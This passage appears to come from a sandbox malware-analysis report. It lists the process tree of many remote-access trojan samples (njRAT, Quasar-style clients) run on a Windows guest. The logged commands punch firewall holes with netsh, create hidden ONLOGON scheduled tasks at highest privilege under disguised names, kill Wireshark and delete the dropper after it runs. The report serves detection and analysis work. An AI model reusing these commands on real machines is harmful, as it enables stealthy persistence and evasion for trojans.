                                                                                                                                                                                      netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe" "svchost.exe" ENABLE
                                                                                                                                                                                      5⤵
                                                                                                                                                                                      • Modifies Windows Firewall
                                                                                                                                                                                      PID:9428
                                                                                                                                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                      netsh firewall delete allowedprogram "C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe"
                                                                                                                                                                                      5⤵
                                                                                                                                                                                      • Modifies Windows Firewall
                                                                                                                                                                                      PID:8612
                                                                                                                                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                      netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe" "svchost.exe" ENABLE
                                                                                                                                                                                      5⤵
                                                                                                                                                                                      • Modifies Windows Firewall
                                                                                                                                                                                      PID:2888
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\a\newest.exe
                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\a\newest.exe"
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:4036
                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\a\client.exe
                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\a\client.exe"
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:724
                                                                                                                                                                                      • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\a\client.exe" "client.exe" ENABLE
                                                                                                                                                                                        4⤵
                                                                                                                                                                                        • Modifies Windows Firewall
                                                                                                                                                                                        PID:5864
                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\a\ServerRat.exe
                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\a\ServerRat.exe"
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:8452
                                                                                                                                                                                        • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                          netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\a\ServerRat.exe" "ServerRat.exe" ENABLE
                                                                                                                                                                                          4⤵
                                                                                                                                                                                          • Modifies Windows Firewall
                                                                                                                                                                                          PID:4292
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\a\govno__dlya_jertwy.exe
                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\a\govno__dlya_jertwy.exe"
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:8296
                                                                                                                                                                                          • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                            netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\a\govno__dlya_jertwy.exe" "govno__dlya_jertwy.exe" ENABLE
                                                                                                                                                                                            4⤵
                                                                                                                                                                                            • Modifies Windows Firewall
                                                                                                                                                                                            PID:1480
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\a\Bloxflip%20Predictor.exe
                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\a\Bloxflip%20Predictor.exe"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:8936
                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\a\Fast%20Download.exe
                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\a\Fast%20Download.exe"
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:4244
                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\a\fusca%20game.exe
                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\a\fusca%20game.exe"
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:72
                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\a\enai2.exe
                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\a\enai2.exe"
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:8284
                                                                                                                                                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                    netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\a\enai2.exe" "enai2.exe" ENABLE
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                    • Modifies Windows Firewall
                                                                                                                                                                                                    PID:3464
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\a\njrat.exe
                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\a\njrat.exe"
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:7712
                                                                                                                                                                                                    • C:\Windows\rundll32.exe
                                                                                                                                                                                                      "C:\Windows\rundll32.exe"
                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                        PID:5704
                                                                                                                                                                                                        • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                          netsh firewall add allowedprogram "C:\Windows\rundll32.exe" "rundll32.exe" ENABLE
                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                          • Modifies Windows Firewall
                                                                                                                                                                                                          PID:6044
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\a\joiner.exe
                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\a\joiner.exe"
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:8560
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\a\testme.exe
                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\a\testme.exe"
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:8964
                                                                                                                                                                                                          • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                            netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\a\testme.exe" "testme.exe" ENABLE
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                            • Modifies Windows Firewall
                                                                                                                                                                                                            PID:5888
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\a\sela.exe
                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\a\sela.exe"
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:6480
                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\a\444.exe
                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\a\444.exe"
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:5052
                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\conhost.exe
                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\conhost.exe"
                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                  PID:6868
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                    netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\conhost.exe" "conhost.exe" ENABLE
                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                    • Modifies Windows Firewall
                                                                                                                                                                                                                    PID:8728
                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\a\main.exe
                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\a\main.exe"
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:5036
                                                                                                                                                                                                                  • C:\ProgramData\dllhost.exe
                                                                                                                                                                                                                    "C:\ProgramData\dllhost.exe"
                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                      PID:2316
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                        taskkill /f im Wireshark.exe
                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                        PID:5624
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                        schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachine" /f
                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                          PID:1516
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                          schtasks /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachine" /tr C:\ProgramData\dllhost.exe
                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                          PID:9832
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 5 & Del "C:\Users\Admin\AppData\Local\Temp\a\main.exe"
                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                          PID:9348
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\choice.exe
                                                                                                                                                                                                                            choice /C Y /N /D Y /T 5
                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                              PID:5064
                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\a\startup.exe
                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\a\startup.exe"
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:948
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\a\cnct.exe
                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\a\cnct.exe"
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:7100
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\dlscord.exe
                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\dlscord.exe"
                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                  PID:1944
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                                    netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\dlscord.exe" "dlscord.exe" ENABLE
                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                    • Modifies Windows Firewall
                                                                                                                                                                                                                                    PID:9528
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\a\mos%20ssssttttt.exe
                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\a\mos%20ssssttttt.exe"
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:4720
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                                    netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\a\mos%20ssssttttt.exe" "mos%20ssssttttt.exe" ENABLE
                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                    • Modifies Windows Firewall
                                                                                                                                                                                                                                    PID:7356
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                                    netsh firewall delete allowedprogram "C:\Users\Admin\AppData\Local\Temp\a\mos%20ssssttttt.exe"
                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                    • Modifies Windows Firewall
                                                                                                                                                                                                                                    PID:10236
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                                    netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\a\mos%20ssssttttt.exe" "mos%20ssssttttt.exe" ENABLE
                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                    • Modifies Windows Firewall
                                                                                                                                                                                                                                    PID:10192
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\a\testingg.exe
                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\a\testingg.exe"
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:6484
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\server.exe
                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\server.exe"
                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                        PID:9284
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                                          netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\server.exe" "server.exe" ENABLE
                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                          • Modifies Windows Firewall
                                                                                                                                                                                                                                          PID:7544
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                                          netsh firewall delete allowedprogram "C:\Users\Admin\AppData\Roaming\server.exe"
                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                          • Modifies Windows Firewall
                                                                                                                                                                                                                                          PID:7272
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                                          netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\server.exe" "server.exe" ENABLE
                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                          • Modifies Windows Firewall
                                                                                                                                                                                                                                          PID:768
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\a\njSilent.exe
                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\a\njSilent.exe"
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:6124
                                                                                                                                                                                                                                        • C:\Windows\svchost.exe
                                                                                                                                                                                                                                          "C:\Windows\svchost.exe"
                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                            PID:1956
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                                              netsh firewall add allowedprogram "C:\Windows\svchost.exe" "svchost.exe" ENABLE
                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                              • Modifies Windows Firewall
                                                                                                                                                                                                                                              PID:7400
                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\a\system.exe
                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\a\system.exe"
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:1812
                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\system.exe
                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\system.exe"
                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                PID:9724
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                                                  netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\system.exe" "system.exe" ENABLE
                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                  • Modifies Windows Firewall
                                                                                                                                                                                                                                                  PID:1688
                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\a\eo.exe
                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\a\eo.exe"
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                PID:8660
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                  "schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\a\eo.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                  PID:7952
                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\a\Client-built.exe
                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\a\Client-built.exe"
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                  PID:7224
                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\a\rektupp.exe
                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\a\rektupp.exe"
                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                    PID:4672
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\a\svchosts.exe
                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\a\svchosts.exe"
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                      PID:9672
                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                                                                        "schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                        PID:6896
                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\a\svhost.exe
                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\a\svhost.exe"
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:9904
                                                                                                                                                                                                                                                        • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                                                                          "schtasks" /create /tn "Windows Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Windows Startup\Sever Startup.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                          PID:8860
                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\a\Java32.exe
                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\a\Java32.exe"
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                          PID:2440
                                                                                                                                                                                                                                                          • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                                                                            "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                            PID:7532
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\a\x.exe
                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\a\x.exe"
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:252
                                                                                                                                                                                                                                                            • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                                                                              "schtasks" /create /tn "x" /sc ONLOGON /tr "C:\Windows\system32\SubDir\x.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                              PID:1488
                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\a\RuntimeBroker.exe
                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\a\RuntimeBroker.exe"
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                              PID:9460
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Temp\RuntimeBroker.exe
                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\Temp\RuntimeBroker.exe"
                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                  PID:1468
                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\H7pQrV7WYyod.bat" "
                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                      PID:2480
                                                                                                                                                                                                                                                                      • C:\Windows\system32\chcp.com
                                                                                                                                                                                                                                                                        chcp 65001
                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                          PID:3116
                                                                                                                                                                                                                                                                        • C:\Windows\system32\PING.EXE
                                                                                                                                                                                                                                                                          ping -n 10 localhost
                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                          • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                                                          • Runs ping.exe
                                                                                                                                                                                                                                                                          PID:9336
                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\Temp\RuntimeBroker.exe
                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Roaming\Temp\RuntimeBroker.exe"
                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                            PID:10208
                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\a\vanilla.exe
                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\a\vanilla.exe"
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                        PID:6376
                                                                                                                                                                                                                                                                        • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                                                                                          "schtasks" /create /tn "ctfmon" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                          PID:4264
                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\a\Java.exe
                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\a\Java.exe"
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:8440
                                                                                                                                                                                                                                                                          • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                                                                                            "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                            PID:2624
                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\a\skibidi.exe
                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\a\skibidi.exe"
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:8156
                                                                                                                                                                                                                                                                            • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                                                                                              "schtasks" /create /tn "ctfmon" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                              PID:9264
                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\a\Client-base.exe
                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\a\Client-base.exe"
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                              PID:4088
                                                                                                                                                                                                                                                                              • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                                                                                                "schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                PID:8520
                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\a\example_win32_dx11.exe
                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\a\example_win32_dx11.exe"
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:8348
                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\a\jignesh.exe
                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\a\jignesh.exe"
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:9384
                                                                                                                                                                                                                                                                                  • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                                                                                                    "schtasks" /create /tn "ctfmon" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                    PID:8908
                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\a\koptlyyasdrt.exe
                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\a\koptlyyasdrt.exe"
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                    PID:8976
                                                                                                                                                                                                                                                                                    • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                                                                                                      "schtasks" /create /tn "svhost32" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                      PID:7704
                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\a\SGVP%20Client%20program.exe
                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\a\SGVP%20Client%20program.exe"
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:8012
                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\a\Windows12.exe
                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\a\Windows12.exe"
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                        PID:8108
                                                                                                                                                                                                                                                                                        • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                                                                                                          "schtasks" /create /tn "winlogson" /sc ONLOGON /tr "C:\Windows\system32\winlogson\winlogson.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                          PID:2332
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\a\CollosalLoader.exe
                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\a\CollosalLoader.exe"
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:9964
                                                                                                                                                                                                                                                                                          • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                                                                                                            "schtasks" /create /tn "Skype" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\MSWinpreference.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                            PID:9624
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\a\discord.exe
                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\a\discord.exe"
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                            PID:7636
                                                                                                                                                                                                                                                                                            • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                                                                                                              "schtasks" /create /tn "svhost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                              PID:4692
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\a\Runtime%20Broker.exe
                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\a\Runtime%20Broker.exe"
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                              PID:8352
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\a\Neverlose%20Loader.exe
                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\a\Neverlose%20Loader.exe"
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                PID:6704
                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\a\CleanerV2.exe
                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\a\CleanerV2.exe"
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                  PID:8332
                                                                                                                                                                                                                                                                                                  • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                                                                                                                    "schtasks" /create /tn "CleanerV2" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                    PID:10228
                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\a\sharpmonoinjector.exe
                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\a\sharpmonoinjector.exe"
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                    PID:4092
                                                                                                                                                                                                                                                                                                    • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                                                                                                                      "schtasks" /create /tn "Windows Security Service" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                      PID:8548
                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\GrwldHkbMH25.bat" "
                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                        PID:7068
